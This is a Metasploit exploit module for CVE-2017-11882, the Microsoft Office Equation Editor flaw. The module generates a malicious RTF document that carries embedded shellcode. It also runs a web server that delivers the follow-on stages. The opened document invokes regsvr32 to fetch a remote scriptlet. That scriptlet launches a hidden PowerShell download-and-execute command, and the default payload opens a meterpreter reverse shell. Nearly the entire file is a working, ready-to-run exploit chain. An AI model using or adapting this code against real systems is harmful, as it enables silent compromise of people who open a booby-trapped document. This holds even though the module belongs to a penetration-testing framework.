## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office CVE-2017-11882', 'Description' => %q{ Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory. }, 'Author' => ['mumbai', 'embedi'], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Nov 15 2017', 'References' => [ ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'], ['URL', 'https://github.com/embedi/CVE-2017-11882'] ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Microsoft Office', {} ], ], 'DefaultTarget' => 0, 'Payload' => { 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } )) register_options([ OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]), OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil]) ]) end def retrieve_header(filename) if (not datastore['FOLDER_PATH'].nil?) path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}" else path = nil end if (not path.nil?) if ::File.file?(path) File.open(path, 'rb') do |fd| header = fd.read(fd.stat.size).split('{\*\datastore').first header = header.to_s # otherwise I get nil class... print_status("Injecting #{path}...") return header end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' end else header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' end return header end def generate_rtf header = retrieve_header(datastore['FILENAME']) object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata ' object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000' object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff' object_class << '09000600000000000000000000000100000001000000000000000010000002000' object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040' object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0' object_class << '07400720079000000000000000000000000000000000000000000000000000000' object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000' object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce' object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000003' object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060' object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000' object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045' object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000' object_class << '00000000000000000000000000000000000000000000000000000000000000000' object_class << "00000300040000000000000000000000000000000000000000000000000000000" object_class << "000000000000000000000000000000000000000000000000000000000000000\n" shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0 shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax] shellcode << "\x9e" # 6: 9e sahf shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0] shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al shellcode << "\x00\xc8" # f: 00 c8 add al,cl shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi] shellcode << "\\" # 12: 5c pop esp shellcode << "\x00\xc4" # 13: 00 c4 add ah,al shellcode << "\xee" # 15: ee out dx,al shellcode << "[" # 16: 5b pop ebx shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx] shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx] shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44 shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678 shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax] shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx] shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx] shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx shellcode << "\x53" # 3e: 53 push ebx shellcode << "\x51" # 3f: 51 push ecx shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64 shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi] shellcode << "\x53" # 49: 53 push ebx shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax] shellcode << "\x90" # 50: 90 nop shellcode << "\x90" # 50: 90 nop footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' footer << '4500710075006100740069006F006E0020004E006100740069007600650000000' footer << '00000000000000000000000000000000000000000000000000000' footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000' footer << '00000000000000000000000000000000000000000000000000000000000000400' footer << '0000C5000000000000000000000000000000000000000000000000' footer << '0000000000000000000000000000000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00' footer << '000000000000000000000000000000000000000000000000000000' footer << '0000000000000000000000000000000000000000000000000000000000000000' footer << '000000000000000000000000000000000000000000000000000000' footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF' footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000000000000000000' footer << '00000000000000000000000000000000000000000000000000000000000000000' footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000' footer << '00000000000000000000000000000000000000000000000000000000000000000' footer << '00000000000000001050000050000000D0000004D45544146494C' footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C' footer << '500000002001C0000000000050000000902000000000500000002' footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF' footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090' footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016' footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131' footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000' footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100' footer << '00030000000000' + "\n" footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n" footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n" footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n" footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n" footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n" footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n" footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n" footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n" footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n" footer << "00000000\n" footer << "}}}\n" footer << '\par}' + "\n" payload = shellcode payload += [0x00402114].pack("V") payload += "\x00" * 2 payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll" payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first payload = header + object_class + payload + footer payload end def gen_psh(url, *method) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl if method.include? 'string' download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric 8}.exe" # Set filename (Use random filename if empty) filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] # Set path (Use %TEMP% if empty) path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') # Join Path and Filename file = %Q(echo (#{path}+'\\#{filename}')) # Generate download PowerShell command download_string = Rex::Powershell::PshMethods.download_run(url, file) end download_and_run = "#{ignore_cert}#{download_string}" # Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) end def on_request_uri(cli, _request) if _request.raw_uri =~ /\.sct$/ print_status("Handling request for .sct from #{cli.peerhost}") payload = gen_psh("#{get_uri}", "string") data = gen_sct_file(payload) send_response(cli, data, 'Content-Type' => 'text/plain') else print_status("Delivering payload to #{cli.peerhost}...") p = regenerate_payload(cli) data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true ) send_response(cli, data, 'Content-Type' => 'application/octet-stream') end end def rand_class_id "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" end def gen_sct_file(command) # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). if command == '' return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>} # If a command is provided, tell the target system to execute it. else return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>} end end def primer file_create(generate_rtf) end end